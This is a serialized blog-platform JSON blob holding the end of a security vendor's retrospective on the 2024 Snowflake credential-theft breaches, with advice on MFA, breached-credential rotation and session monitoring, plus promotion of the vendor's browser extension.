you",{"data":75767,"content":75768,"nodeType":860},{},[75769],{"data":75770,"marks":75771,"value":75772,"nodeType":864},{},[],"Snowflake came under fire following the attacks for not enabling MFA by default, or giving security teams sufficient tools to deal with the incident. ",{"data":75774,"content":75775,"nodeType":860},{},[75776],{"data":75777,"marks":75778,"value":75779,"nodeType":864},{},[],"This is perhaps justifiable, but is hardly the exception. Very few apps enforce MFA by default or provide a global MFA enforcement mechanism. Most don’t even provide audit logs (and when they do, the scope of logging is pretty limited). And we regularly encounter apps that don’t give you any information about account configuration as an admin — like which accounts have MFA, or the login methods that they’re using (e.g. SSO via SAML, SSO via OIDC, password, which IdPs are being used…) which is essential information to be able to secure your identity attack surface. ",{"data":75781,"content":75782,"nodeType":860},{},[75783],{"data":75784,"marks":75785,"value":75786,"nodeType":864},{},[],"Yes, it would be great if app vendors put security first and made controls available by default, for all customers (not just the premium ones). But in the absence of an industrywide shift toward security-first product development, it’s important that organizations don’t just point the finger at service providers — and take matters into their own hands when it comes to securing their user identities. ",{"data":75788,"content":75789,"nodeType":1312},{},[75790],{"data":75791,"marks":75792,"value":75794,"nodeType":864},{},[75793],{"type":899},"This isn’t a specific Snowflake problem — it could have been any application",{"data":75796,"content":75797,"nodeType":860},{},[75798],{"data":75799,"marks":75800,"value":75801,"nodeType":864},{},[],"While Snowflake was admittedly a high-value target because of the data it collected, apps with sensitive data (or with integrations connecting them to data collected in adjacent apps) are not in short supply. ",{"data":75803,"content":75804,"nodeType":860},{},[75805],{"data":75806,"marks":75807,"value":75808,"nodeType":864},{},[],"If we accept that many other apps are similarly desirable targets, then we should also consider that it’s unlikely that Snowflake is the only app that has valid credentials sitting around on the internet, waiting to be weaponized by criminals. Equally, it’s not the only app that doesn’t require mandatory MFA for user accounts, as we discussed above. The next Snowflake is likely to lurk in the same breached datasets, possibly even using the same credentials.",{"data":75810,"content":75811,"nodeType":860},{},[75812],{"data":75813,"marks":75814,"value":75815,"nodeType":864},{},[],"There’s been a clear increase in the number of infostealer and stolen credential related breaches and news stories since Snowflake as attackers wise up to the potential opportunity and start seeing the dollar signs. It would be naive to think that this was a one off event — the next Snowflake is probably not too far away. ",{"data":75817,"content":75818,"nodeType":860},{},[75819],{"data":75820,"marks":75821,"value":75822,"nodeType":864},{},[],"For a deep-dive analysis of the impact of Snowflake, check out our on-demand webinar from earlier this year.",{"data":75824,"content":75828,"nodeType":996},{"target":75825},{"sys":75826},{"id":75827,"type":1001,"linkType":1002},"7LkU5DqE9HJ1PQu9BTg6Mw",[],{"data":75830,"content":75831,"nodeType":1005},{},[],{"data":75833,"content":75834,"nodeType":1009},{},[75835],{"data":75836,"marks":75837,"value":75839,"nodeType":864},{},[75838],{"type":899},"How to protect yourself from the next Snowflake using Push",{"data":75841,"content":75842,"nodeType":860},{},[75843],{"data":75844,"marks":75845,"value":75846,"nodeType":864},{},[],"Organizations looking to reduce their exposure to account takeover using stolen credentials should look to:",{"data":75848,"content":75849,"nodeType":941},{},[75850,75860,75870],{"data":75851,"content":75852,"nodeType":945},{},[75853],{"data":75854,"content":75855,"nodeType":860},{},[75856],{"data":75857,"marks":75858,"value":75859,"nodeType":864},{},[],"Identify the apps being used across the business and locate vulnerable workforce identities using weak, breached, or reused credentials, and missing MFA. Where SSO is the preferred login method, local username & password logins should ideally be removed. ",{"data":75861,"content":75862,"nodeType":945},{},[75863],{"data":75864,"content":75865,"nodeType":860},{},[75866],{"data":75867,"marks":75868,"value":75869,"nodeType":864},{},[],"Where credentials appear in third-party data breaches, verify where they are still valid and ensure that the credentials are changed. ",{"data":75871,"content":75872,"nodeType":945},{},[75873],{"data":75874,"content":75875,"nodeType":860},{},[75876],{"data":75877,"marks":75878,"value":75879,"nodeType":864},{},[],"Detect unauthorized access to workforce identities where sessions are initiated or resumed from unusual or unexpected locations. It should be noted that while this is a fairly common feature for larger enterprise cloud platforms with configurable access control policies, this is not typically possible for most SaaS applications.  ",{"data":75881,"content":75882,"nodeType":860},{},[75883],{"data":75884,"marks":75885,"value":75886,"nodeType":864},{},[],"All of these use cases can be achieved using Push. The Push browser extension detects all logins performed in employee browsers, capturing granular information about the login method and MFA types used, and enriching this data by integrating with your preferred IdP.",{"data":75888,"content":75889,"nodeType":860},{},[75890,75893,75901],{"data":75891,"marks":75892,"value":1238,"nodeType":864},{},[],{"data":75894,"content":75896,"nodeType":883},{"uri":75895},"https://pushsecurity.com/blog/verified-stolen-credential-detection",[75897],{"data":75898,"marks":75899,"value":75900,"nodeType":864},{},[],"verified stolen credential detection feature",{"data":75902,"marks":75903,"value":75904,"nodeType":864},{},[]," compares a k-anonymized hash of user passwords observed with stolen credential TI feeds to cut through the noise and identify where stolen credentials appearing online represent a genuine vulnerability.   ",{"data":75906,"content":75907,"nodeType":860},{},[75908,75912,75920],{"data":75909,"marks":75910,"value":75911,"nodeType":864},{},[],"On top of this, all logins made in browsers protected by the Push extension, across every app, are verified by ",{"data":75913,"content":75914,"nodeType":883},{"uri":70601},[75915],{"data":75916,"marks":75917,"value":75919,"nodeType":864},{},[75918],{"type":1455},"adding a unique marker to the user agent string of the session",{"data":75921,"marks":75922,"value":75923,"nodeType":864},{},[],", which will then appear in your IdP logs. This means that any session occurring outside of the Push-protected estate can be flagged to your security team via SIEM alert — including where an attacker uses stolen credentials to log into an app from a browser without the Push extension running. ",{"data":75925,"content":75929,"nodeType":996},{"target":75926},{"sys":75927},{"id":75928,"type":1001,"linkType":1002},"3tqVk7Vr7pYLOEVukIJM2g",[],{"data":75931,"content":75932,"nodeType":860},{},[75933],{"data":75934,"marks":75935,"value":21,"nodeType":864},{},[],"Snowflake: Looking back on 2024’s landmark security event","165 Snowflake customers were targeted by criminals using stolen credentials from infostealer infections, impacting hundreds of millions of people. ","2024-11-29T00:00:00.000Z","snowflake-retro",{"items":75941},[75942],{"sys":75943,"name":6593},{"id":6592},{"items":75945},[75946],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":75947},{"url":2740},{"__typename":2059,"sys":75949,"content":75950,"title":71047,"synopsis":71048,"hashTags":59,"publishedDate":71049,"slug":71050,"tagsCollection":76953,"authorsCollection":76959},{"id":69876},{"json":75951},{"data":75952,"content":75953,"nodeType":856},{},[75954,75960,76007,76013,76016,76022,76028,76054,76064,76067,76073,76083,76089,76105,76110,76126,76132,76142,76159,76175,76181,76197,76202,76218,76221,76227,76234,76240,76256,76272,76278,76294,76300,76307,76328,76334,76350,76367,76372,76378,76394,76397,76403,76419,76435,76441,76489,76495,76498,76504,76511,76527,76543,76549,76556,76562,76579,76585,76591,76596,76601,76604,76610,76617,76623,76639,76648,76664,76670,76676,76685,76692,76698,76715,76720,76723,76729,76735,76741,76802,76808,76814,76820,76827,76844,76850,76855,76865,76882,76888,76895,76912,76918,76924,76929,76932,76938],{"data":75955,"content":75956,"nodeType":860},{},[75957],{"data":75958,"marks":75959,"value":69887,"nodeType":864},{},[],{"data":75961,"content":75962,"nodeType":941},{},[75963,75979,75988],{"data":75964,"content":75965,"nodeType":945},{},[75966],{"data":75967,"content":75968,"nodeType":860},{},[75969,75972,75976],{"data":75970,"marks":75971,"value":69900,"nodeType":864},{},[],{"data":75973,"marks":75974,"value":69905,"nodeType":864},{},[75975],{"type":2246},{"data":75977,"marks":75978,"value":69909,"nodeType":864},{},[],{"data":75980,"content":75981,"nodeType":945},{},[75982],{"data":75983,"content":75984,"nodeType":860},{},[75985],{"data":75986,"marks":75987,"value":69919,"nodeType":864},{},[],{"data":75989,"content":75990,"nodeType":945},{},[75991],{"data":75992,"content":75993,"nodeType":860},{},[75994,75997,76004],{"data":75995,"marks":75996,"value":69929,"nodeType":864},{},[],{"data":75998,"content":75999,"nodeType":883},{"uri":69932},[76000],{"data":76001,"marks":76002,"value":69938,"nodeType":864},{},[76003],{"type":1455},{"data":76005,"marks":76006,"value":69942,"nodeType":864},{},[],{"data":76008,"content":76009,"nodeType":860},{},[76010],{"data":76011,"marks":76012,"value":69949,"nodeType":864},{},[],{"data":76014,"content":76015,"nodeType":1005},{},[],{"data":76017,"content":76018,"nodeType":1009},{},[76019],{"data":76020,"marks":76021,"value":69959,"nodeType":864},{},[],{"data":76023,"content":76024,"nodeType":860},{},[76025],{"data":76026,"marks":76027,"value":69966,"nodeType":864},{},[],{"data":76029,"content":76030,"nodeType":860},{},[76031,76034,76041,76044,76051],{"data":76032,"marks":76033,"value":69973,"nodeType":864},{},[],{"data":76035,"content":76036,"nodeType":883},{"uri":69976},[76037],{"data":76038,"marks":76039,"value":69982,"nodeType":864},{},[76040],{"type":1455},{"data":76042,"marks":76043,"value":69986,"nodeType":864},{},[],{"data":76045,"content":76046,"nodeType":883},{"uri":69989},[76047],{"data":76048,"marks":76049,"value":69995,"nodeType":864},{},[76050],{"type":1455},{"data":76052,"marks":76053,"value":69999,"nodeType":864},{},[],{"data":76055,"content":76056,"nodeType":860},{},[76057,76060],{"data":76058,"marks":76059,"value":70006,"nodeType":864},{},[],{"data":76061,"marks":76062,"value":70011,"nodeType":864},{},[76063],{"type":899},{"data":76065,"content":76066,"nodeType":1005},{},[],{"data":76068,"content":76069,"nodeType":1009},{},[76070],{"data":76071,"marks":76072,"value":70021,"nodeType":864},{},[],{"data":76074,"content":76075,"nodeType":1312},{},[76076,76080],{"data":76077,"marks":76078,"value":70029,"nodeType":864},{},[76079],{"type":899},{"data":76081,"marks":76082,"value":1171,"nodeType":864},{},[],{"data":76084,"content":76085,"nodeType":860},{},[76086],{"data":76087,"marks":76088,"value":70039,"nodeType":864},{},[],{"data":76090,"content":76091,"nodeType":860},{},[76092,76095,76102],{"data":76093,"marks":76094,"value":70046,"nodeType":864},{},[],{"data":76096,"content":76097,"nodeType":883},{"uri":66091},[76098],{"data":76099,"marks":76100,"value":70054,"nodeType":864},{},[76101],{"type":1455},{"data":76103,"marks":76104,"value":70058,"nodeType":864},{},[],{"data":76106,"content":76109,"nodeType":996},{"target":76107},{"sys":76108},{"id":70063,"type":1001,"linkType":1002},[],{"data":76111,"content":76112,"nodeType":860},{},[76113,76116,76123],{"data":76114,"marks":76115,"value":70071,"nodeType":864},{},[],{"data":76117,"content":76118,"nodeType":883},{"uri":70074},[76119],{"data":76120,"marks":76121,"value":70080,"nodeType":864},{},[76122],{"type":1455},{"data":76124,"marks":76125,"value":70084,"nodeType":864},{},[],{"data":76127,"content":76128,"nodeType":860},{},[76129],{"data":76130,"marks":76131,"value":70091,"nodeType":864},{},[],{"data":76133,"content":76134,"nodeType":1312},{},[76135,76139],{"data":76136,"marks":76137,"value":70099,"nodeType":864},{},[76138],{"type":899},{"data":76140,"marks":76141,"value":1171,"nodeType":864},{},[],{"data":76143,"content":76144,"nodeType":860},{},[76145,76148,76156],{"data":76146,"marks":76147,"value":70109,"nodeType":864},{},[],{"data":76149,"content":76150,"nodeType":883},{"uri":65140},[76151],{"data":76152,"marks":76153,"value":70118,"nodeType":864},{},[76154,76155],{"type":1455},{"type":899},{"data":76157,"marks":76158,"value":70122,"nodeType":864},{},[],{"data":76160,"content":76161,"nodeType":860},{},[76162,76165,76172],{"data":76163,"marks":76164,"value":70129,"nodeType":864},{},[],{"data":76166,"content":76167,"nodeType":883},{"uri":70132},[76168],{"data":76169,"marks":76170,"value":70138,"nodeType":864},{},[76171],{"type":1455},{"data":76173,"marks":76174,"value":70142,"nodeType":864},{},[],{"data":76176,"content":76177,"nodeType":860},{},[76178],{"data":76179,"marks":76180,"value":70149,"nodeType":864},{},[],{"data":76182,"content":76183,"nodeType":860},{},[76184,76187,76194],{"data":76185,"marks":76186,"value":70156,"nodeType":864},{},[],{"data":76188,"content":76189,"nodeType":883},{"uri":13714},[76190],{"data":76191,"marks":76192,"value":70164,"nodeType":864},{},[76193],{"type":1455},{"data":76195,"marks":76196,"value":70168,"nodeType":864},{},[],{"data":76198,"content":76201,"nodeType":996},{"target":76199},{"sys":76200},{"id":70173,"type":1001,"linkType":1002},[],{"data":76203,"content":76204,"nodeType":860},{},[76205,76208,76215],{"data":76206,"marks":76207,"value":70181,"nodeType":864},{},[],{"data":76209,"content":76210,"nodeType":883},{"uri":70184},[76211],{"data":76212,"marks":76213,"value":70190,"nodeType":864},{},[76214],{"type":1455},{"data":76216,"marks":76217,"value":70194,"nodeType":864},{},[],{"data":76219,"content":76220,"nodeType":1005},{},[],{"data":76222,"content":76223,"nodeType":1009},{},[76224],{"data":76225,"marks":76226,"value":70204,"nodeType":864},{},[],{"data":76228,"content":76229,"nodeType":1312},{},[76230],{"data":76231,"marks":76232,"value":70029,"nodeType":864},{},[76233],{"type":899},{"data":76235,"content":76236,"nodeType":860},{},[76237],{"data":76238,"marks":76239,"value":70218,"nodeType":864},{},[],{"data":76241,"content":76242,"nodeType":860},{},[76243,76246,76253],{"data":76244,"marks":76245,"value":70225,"nodeType":864},{},[],{"data":76247,"content":76248,"nodeType":883},{"uri":56776},[76249],{"data":76250,"marks":76251,"value":70233,"nodeType":864},{},[76252],{"type":1455},{"data":76254,"marks":76255,"value":70237,"nodeType":864},{},[],{"data":76257,"content":76258,"nodeType":860},{},[76259,76262,76269],{"data":76260,"marks":76261,"value":70244,"nodeType":864},{},[],{"data":76263,"content":76264,"nodeType":883},{"uri":70247},[76265],{"data":76266,"marks":76267,"value":28841,"nodeType":864},{},[76268],{"type":1455},{"data":76270,"marks":76271,"value":70256,"nodeType":864},{},[],{"data":76273,"content":76274,"nodeType":860},{},[76275],{"data":76276,"marks":76277,"value":70263,"nodeType":864},{},[],{"data":76279,"content":76280,"nodeType":860},{},[76281,76284,76291],{"data":76282,"marks":76283,"value":70270,"nodeType":864},{},[],{"data":76285,"content":76286,"nodeType":883},{"uri":70273},[76287],{"data":76288,"marks":76289,"value":70279,"nodeType":864},{},[76290],{"type":1455},{"data":76292,"marks":76293,"value":70283,"nodeType":864},{},[],{"data":76295,"content":76296,"nodeType":860},{},[76297],{"data":76298,"marks":76299,"value":70290,"nodeType":864},{},[],{"data":76301,"content":76302,"nodeType":1312},{},[76303],{"data":76304,"marks":76305,"value":70099,"nodeType":864},{},[76306],{"type":899},{"data":76308,"content":76309,"nodeType":860},{},[76310,76313,76321,76325],{"data":76311,"marks":76312,"value":70304,"nodeType":864},{},[],{"data":76314,"content":76315,"nodeType":883},{"uri":70307},[76316],{"data":76317,"marks":76318,"value":70314,"nodeType":864},{},[76319,76320],{"type":1455},{"type":899},{"data":76322,"marks":76323,"value":70319,"nodeType":864},{},[76324],{"type":899},{"data":76326,"marks":76327,"value":25428,"nodeType":864},{},[],{"data":76329,"content":76330,"nodeType":860},{},[76331],{"data":76332,"marks":76333,"value":70329,"nodeType":864},{},[],{"data":76335,"content":76336,"nodeType":860},{},[76337,76340,76347],{"data":76338,"marks":76339,"value":70336,"nodeType":864},{},[],{"data":76341,"content":76342,"nodeType":883},{"uri":70339},[76343],{"data":76344,"marks":76345,"value":11824,"nodeType":864},{},[76346],{"type":1455},{"data":76348,"marks":76349,"value":70348,"nodeType":864},{},[],{"data":76351,"content":76352,"nodeType":860},{},[76353,76356,76364],{"data":76354,"marks":76355,"value":70355,"nodeType":864},{},[],{"data":76357,"content":76358,"nodeType":883},{"uri":70358},[76359],{"data":76360,"marks":76361,"value":70365,"nodeType":864},{},[76362,76363],{"type":1455},{"type":899},{"data":76365,"marks":76366,"value":70369,"nodeType":864},{},[],{"data":76368,"content":76371,"nodeType":996},{"target":76369},{"sys":76370},{"id":70374,"type":1001,"linkType":1002},[],{"data":76373,"content":76374,"nodeType":860},{},[76375],{"data":76376,"marks":76377,"value":70382,"nodeType":864},{},[],{"data":76379,"content":76380,"nodeType":860},{},[76381,76384,76391],{"data":76382,"marks":76383,"value":70389,"nodeType":864},{},[],{"data":76385,"content":76386,"nodeType":883},{"uri":70392},[76387],{"data":76388,"marks":76389,"value":70398,"nodeType":864},{},[76390],{"type":1455},{"data":76392,"marks":76393,"value":70402,"nodeType":864},{},[],{"data":76395,"content":76396,"nodeType":1005},{},[],{"data":76398,"content":76399,"nodeType":1009},{},[76400],{"data":76401,"marks":76402,"value":70412,"nodeType":864},{},[],{"data":76404,"content":76405,"nodeType":860},{},[76406,76409,76416],{"data":76407,"marks":76408,"value":70419,"nodeType":864},{},[],{"data":76410,"content":76411,"nodeType":883},{"uri":4408},[76412],{"data":76413,"marks":76414,"value":56111,"nodeType":864},{},[76415],{"type":1455},{"data":76417,"marks":76418,"value":2924,"nodeType":864},{},[],{"data":76420,"content":76421,"nodeType":860},{},[76422,76425,76432],{"data":76423,"marks":76424,"value":70436,"nodeType":864},{},[],{"data":76426,"content":76427,"nodeType":883},{"uri":3751},[76428],{"data":76429,"marks":76430,"value":70444,"nodeType":864},{},[76431],{"type":1455},{"data":76433,"marks":76434,"value":70448,"nodeType":864},{},[],{"data":76436,"content":76437,"nodeType":860},{},[76438],{"data":76439,"marks":76440,"value":70455,"nodeType":864},{},[],{"data":76442,"content":76443,"nodeType":941},{},[76444,76453,76462,76471,76480],{"data":76445,"content":76446,"nodeType":945},{},[76447],{"data":76448,"content":76449,"nodeType":860},{},[76450],{"data":76451,"marks":76452,"value":70468,"nodeType":864},{},[],{"data":76454,"content":76455,"nodeType":945},{},[76456],{"data":76457,"content":76458,"nodeType":860},{},[76459],{"data":76460,"marks":76461,"value":70478,"nodeType":864},{},[],{"data":76463,"content":76464,"nodeType":945},{},[76465],{"data":76466,"content":76467,"nodeType":860},{},[76468],{"data":76469,"marks":76470,"value":70488,"nodeType":864},{},[],{"data":76472,"content":76473,"nodeType":945},{},[76474],{"data":76475,"content":76476,"nodeType":860},{},[76477],{"data":76478,"marks":76479,"value":70498,"nodeType":864},{},[],{"data":76481,"content":76482,"nodeType":945},{},[76483],{"data":76484,"content":76485,"nodeType":860},{},[76486],{"data":76487,"marks":76488,"value":70508,"nodeType":864},{},[],{"data":76490,"content":76491,"nodeType":860},{},[76492],{"data":76493,"marks":76494,"value":70515,"nodeType":864},{},[],{"data":76496,"content":76497,"nodeType":1005},{},[],{"data":76499,"content":76500,"nodeType":1009},{},[76501],{"data":76502,"marks":76503,"value":70525,"nodeType":864},{},[],{"data":76505,"content":76506,"nodeType":1312},{},[76507],{"data":76508,"marks":76509,"value":70029,"nodeType":864},{},[76510],{"type":899},{"data":76512,"content":76513,"nodeType":860},{},[76514,76517,76524],{"data":76515,"marks":76516,"value":21,"nodeType":864},{},[],{"data":76518,"content":76519,"nodeType":883},{"uri":70541},[76520],{"data":76521,"marks":76522,"value":70547,"nodeType":864},{},[76523],{"type":1455},{"data":76525,"marks":76526,"value":70551,"nodeType":864},{},[],{"data":76528,"content":76529,"nodeType":860},{},[76530,76533,76540],{"data":76531,"marks":76532,"value":70558,"nodeType":864},{},[],{"data":76534,"content":76535,"nodeType":883},{"uri":70561},[76536],{"data":76537,"marks":76538,"value":70567,"nodeType":864},{},[76539],{"type":1455},{"data":76541,"marks":76542,"value":70571,"nodeType":864},{},[],{"data":76544,"content":76545,"nodeType":860},{},[76546],{"data":76547,"marks":76548,"value":70578,"nodeType":864},{},[],{"data":76550,"content":76551,"nodeType":1312},{},[76552],{"data":76553,"marks":76554,"value":70099,"nodeType":864},{},[76555],{"type":899},{"data":76557,"content":76558,"nodeType":860},{},[76559],{"data":76560,"marks":76561,"value":70592,"nodeType":864},{},[],{"data":76563,"content":76564,"nodeType":860},{},[76565,76568,76576],{"data":76566,"marks":76567,"value":1238,"nodeType":864},{},[],{"data":76569,"content":76570,"nodeType":883},{"uri":70601},[76571],{"data":76572,"marks":76573,"value":70608,"nodeType":864},{},[76574,76575],{"type":1455},{"type":899},{"data":76577,"marks":76578,"value":70612,"nodeType":864},{},[],{"data":76580,"content":76581,"nodeType":860},{},[76582],{"data":76583,"marks":76584,"value":70619,"nodeType":864},{},[],{"data":76586,"content":76587,"nodeType":860},{},[76588],{"data":76589,"marks":76590,"value":70626,"nodeType":864},{},[],{"data":76592,"content":76595,"nodeType":996},{"target":76593},{"sys":76594},{"id":70631,"type":1001,"linkType":1002},[],{"data":76597,"content":76600,"nodeType":996},{"target":76598},{"sys":76599},{"id":70637,"type":1001,"linkType":1002},[],{"data":76602,"content":76603,"nodeType":1005},{},[],{"data":76605,"content":76606,"nodeType":1009},{},[76607],{"data":76608,"marks":76609,"value":70648,"nodeType":864},{},[],{"data":76611,"content":76612,"nodeType":1312},{},[76613],{"data":76614,"marks":76615,"value":70029,"nodeType":864},{},[76616],{"type":899},{"data":76618,"content":76619,"nodeType":860},{},[76620],{"data":76621,"marks":76622,"value":70662,"nodeType":864},{},[],{"data":76624,"content":76625,"nodeType":860},{},[76626,76629,76636],{"data":76627,"marks":76628,"value":70669,"nodeType":864},{},[],{"data":76630,"content":76631,"nodeType":883},{"uri":70672},[76632],{"data":76633,"marks":76634,"value":70678,"nodeType":864},{},[76635],{"type":1455},{"data":76637,"marks":76638,"value":70682,"nodeType":864},{},[],{"data":76640,"content":76641,"nodeType":1116},{},[76642],{"data":76643,"content":76644,"nodeType":860},{},[76645],{"data":76646,"marks":76647,"value":70692,"nodeType":864},{},[],{"data":76649,"content":76650,"nodeType":860},{},[76651,76654,76661],{"data":76652,"marks":76653,"value":70699,"nodeType":864},{},[],{"data":76655,"content":76656,"nodeType":883},{"uri":70541},[76657],{"data":76658,"marks":76659,"value":70707,"nodeType":864},{},[76660],{"type":1455},{"data":76662,"marks":76663,"value":70711,"nodeType":864},{},[],{"data":76665,"content":76666,"nodeType":860},{},[76667],{"data":76668,"marks":76669,"value":70718,"nodeType":864},{},[],{"data":76671,"content":76672,"nodeType":860},{},[76673],{"data":76674,"marks":76675,"value":70725,"nodeType":864},{},[],{"data":76677,"content":76678,"nodeType":1116},{},[76679],{"data":76680,"content":76681,"nodeType":860},{},[76682],{"data":76683,"marks":76684,"value":70735,"nodeType":864},{},[],{"data":76686,"content":76687,"nodeType":1312},{},[76688],{"data":76689,"marks":76690,"value":70099,"nodeType":864},{},[76691],{"type":899},{"data":76693,"content":76694,"nodeType":860},{},[76695],{"data":76696,"marks":76697,"value":70749,"nodeType":864},{},[],{"data":76699,"content":76700,"nodeType":860},{},[76701,76704,76712],{"data":76702,"marks":76703,"value":70756,"nodeType":864},{},[],{"data":76705,"content":76706,"nodeType":883},{"uri":68809},[76707],{"data":76708,"marks":76709,"value":70765,"nodeType":864},{},[76710,76711],{"type":1455},{"type":899},{"data":76713,"marks":76714,"value":70769,"nodeType":864},{},[],{"data":76716,"content":76719,"nodeType":996},{"target":76717},{"sys":76718},{"id":70774,"type":1001,"linkType":1002},[],{"data":76721,"content":76722,"nodeType":1005},{},[],{"data":76724,"content":76725,"nodeType":1009},{},[76726],{"data":76727,"marks":76728,"value":70785,"nodeType":864},{},[],{"data":76730,"content":76731,"nodeType":860},{},[76732],{"data":76733,"marks":76734,"value":70792,"nodeType":864},{},[],{"data":76736,"content":76737,"nodeType":860},{},[76738],{"data":76739,"marks":76740,"value":70799,"nodeType":864},{},[],{"data":76742,"content":76743,"nodeType":941},{},[76744,76760,76776],{"data":76745,"content":76746,"nodeType":945},{},[76747],{"data":76748,"content":76749,"nodeType":860},{},[76750,76753,76757],{"data":76751,"marks":76752,"value":70812,"nodeType":864},{},[],{"data":76754,"marks":76755,"value":70817,"nodeType":864},{},[76756],{"type":899},{"data":76758,"marks":76759,"value":70821,"nodeType":864},{},[],{"data":76761,"content":76762,"nodeType":945},{},[76763],{"data":76764,"content":76765,"nodeType":860},{},[76766,76769,76773],{"data":76767,"marks":76768,"value":70831,"nodeType":864},{},[],{"data":76770,"marks":76771,"value":70836,"nodeType":864},{},[76772],{"type":899},{"data":76774,"marks":76775,"value":70840,"nodeType":864},{},[],{"data":76777,"content":76778,"nodeType":945},{},[76779],{"data":76780,"content":76781,"nodeType":860},{},[76782,76785,76789,76792,76799],{"data":76783,"marks":76784,"value":70850,"nodeType":864},{},[],{"data":76786,"marks":76787,"value":70855,"nodeType":864},{},[76788],{"type":899},{"data":76790,"marks":76791,"value":70859,"nodeType":864},{},[],{"data":76793,"content":76794,"nodeType":883},{"uri":13726},[76795],{"data":76796,"marks":76797,"value":13731,"nodeType":864},{},[76798],{"type":1455},{"data":76800,"marks":76801,"value":70870,"nodeType":864},{},[],{"data":76803,"content":76804,"nodeType":860},{},[76805],{"data":76806,"marks":76807,"value":70877,"nodeType":864},{},[],{"data":76809,"content":76810,"nodeType":860},{},[76811],{"data":76812,"marks":76813,"value":70884,"nodeType":864},{},[],{"data":76815,"content":76816,"nodeType":860},{},[76817],{"data":76818,"marks":76819,"value":70891,"nodeType":864},{},[],{"data":76821,"content":76822,"nodeType":1312},{},[76823],{"data":76824,"marks":76825,"value":70899,"nodeType":864},{},[76826],{"type":899},{"data":76828,"content":76829,"nodeType":860},{},[76830,76833,76841],{"data":76831,"marks":76832,"value":70906,"nodeType":864},{},[],{"data":76834,"content":76835,"nodeType":883},{"uri":70909},[76836],{"data":76837,"marks":76838,"value":70916,"nodeType":864},{},[76839,76840],{"type":1455},{"type":899},{"data":76842,"marks":76843,"value":70920,"nodeType":864},{},[],{"data":76845,"content":76846,"nodeType":860},{},[76847],{"data":76848,"marks":76849,"value":70927,"nodeType":864},{},[],{"data":76851,"content":76854,"nodeType":996},{"target":76852},{"sys":76853},{"id":70932,"type":1001,"linkType":1002},[],{"data":76856,"content":76857,"nodeType":1312},{},[76858,76862],{"data":76859,"marks":76860,"value":70941,"nodeType":864},{},[76861],{"type":899},{"data":76863,"marks":76864,"value":1171,"nodeType":864},{},[],{"data":76866,"content":76867,"nodeType":860},{},[76868,76871,76879],{"data":76869,"marks":76870,"value":70951,"nodeType":864},{},[],{"data":76872,"content":76873,"nodeType":883},{"uri":70954},[76874],{"data":76875,"marks":76876,"value":70961,"nodeType":864},{},[76877,76878],{"type":1455},{"type":899},{"data":76880,"marks":76881,"value":70965,"nodeType":864},{},[],{"data":76883,"content":76884,"nodeType":860},{},[76885],{"data":76886,"marks":76887,"value":70972,"nodeType":864},{},[],{"data":76889,"content":76890,"nodeType":1312},{},[76891],{"data":76892,"marks":76893,"value":70980,"nodeType":864},{},[76894],{"type":899},{"data":76896,"content":76897,"nodeType":860},{},[76898,76901,76909],{"data":76899,"marks":76900,"value":70987,"nodeType":864},{},[],{"data":76902,"content":76903,"nodeType":883},{"uri":69161},[76904],{"data":76905,"marks":76906,"value":70996,"nodeType":864},{},[76907,76908],{"type":1455},{"type":899},{"data":76910,"marks":76911,"value":71000,"nodeType":864},{},[],{"data":76913,"content":76914,"nodeType":860},{},[76915],{"data":76916,"marks":76917,"value":71007,"nodeType":864},{},[],{"data":76919,"content":76920,"nodeType":860},{},[76921],{"data":76922,"marks":76923,"value":71014,"nodeType":864},{},[],{"data":76925,"content":76928,"nodeType":996},{"target":76926},{"sys":76927},{"id":71019,"type":1001,"linkType":1002},[],{"data":76930,"content":76931,"nodeType":1005},{},[],{"data":76933,"content":76934,"nodeType":1009},{},[76935],{"data":76936,"marks":76937,"value":71030,"nodeType":864},{},[],{"data":76939,"content":76940,"nodeType":860},{},[76941,76944,76950],{"data":76942,"marks":76943,"value":71037,"nodeType":864},{},[],{"data":76945,"content":76946,"nodeType":883},{"uri":5642},[76947],{"data":76948,"marks":76949,"value":69855,"nodeType":864},{},[],{"data":76951,"marks":76952,"value":69859,"nodeType":864},{},[],{"items":76954},[76955,76957],{"sys":76956,"name":342},{"id":6596},{"sys":76958,"name":297},{"id":2732},{"items":76960},[76961],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":76962},{"url":853},"blog/considering-the-impact-of-computer-using-agents",{"json":76965},{"data":76966,"content":76967,"nodeType":856},{},[76968],{"data":76969,"content":76970,"nodeType":860},{},[76971],{"data":76972,"marks":76973,"value":76974,"nodeType":864},{},[],"Computer-Using Agents (CUAs) are a new type of AI agent that drives your browser/OS for you. These tools (or future iterations of them) will enable low-cost, low-effort automation of common web tasks — including those frequently performed by attackers.",{"id":69242,"publishedAt":76976},"2026-08-12T11:54:30.875Z",{"items":76978},[76979,76981],{"sys":76980,"name":6593},{"id":6592},{"sys":76982,"name":297},{"id":2732},{"items":76984},[76985,76987,76989,76991,76993,76995,76997,76999,77001,77003,77005,77007,77009,77011,77013,77015,77017],{"sys":76986,"name":279,"slug":280,"tier":31},{"id":276},{"sys":76988,"name":235,"slug":236,"tier":31},{"id":232},{"sys":76990,"name":413,"slug":414,"tier":31},{"id":410},{"sys":76992,"name":545,"slug":546,"tier":31},{"id":542},{"sys":76994,"name":642,"slug":643,"tier":31},{"id":639},{"sys":76996,"name":297,"slug":298,"tier":31},{"id":294},{"sys":76998,"name":519,"slug":520,"tier":31},{"id":516},{"sys":77000,"name":244,"slug":245,"tier":45},{"id":241},{"sys":77002,"name":404,"slug":405,"tier":45},{"id":401},{"sys":77004,"name":333,"slug":334,"tier":45},{"id":330},{"sys":77006,"name":324,"slug":325,"tier":45},{"id":321},{"sys":77008,"name":475,"slug":476,"tier":45},{"id":472},{"sys":77010,"name":607,"slug":608,"tier":45},{"id":604},{"sys":77012,"name":571,"slug":572,"tier":45},{"id":568},{"sys":77014,"name":422,"slug":423,"tier":45},{"id":419},{"sys":77016,"name":502,"slug":503,"tier":45},{"id":499},{"sys":77018,"name":288,"slug":289,"tier":45},{"id":285},"BXC9egMG__WJ8DlAdMBbENBH-pmptSUJ4ZypBxm0Dzs",1787040049237]